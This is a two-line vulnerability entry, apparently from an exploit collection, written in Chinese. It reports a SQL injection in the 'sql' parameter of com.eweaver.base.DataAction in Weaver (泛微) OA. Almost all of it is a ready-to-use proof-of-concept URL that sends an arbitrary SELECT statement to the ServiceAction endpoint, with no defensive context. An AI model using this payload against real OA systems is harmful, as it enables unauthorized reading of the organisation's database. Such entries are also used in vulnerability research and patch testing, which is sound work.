泛微oa系统com.eweaver.base.DataAction文件sql参数sql注入

URL/ServiceAction/com.eweaver.base.DataAction?sql=select%201,2,3,4,5,6,7,8,9,233%20from%20DUAL%20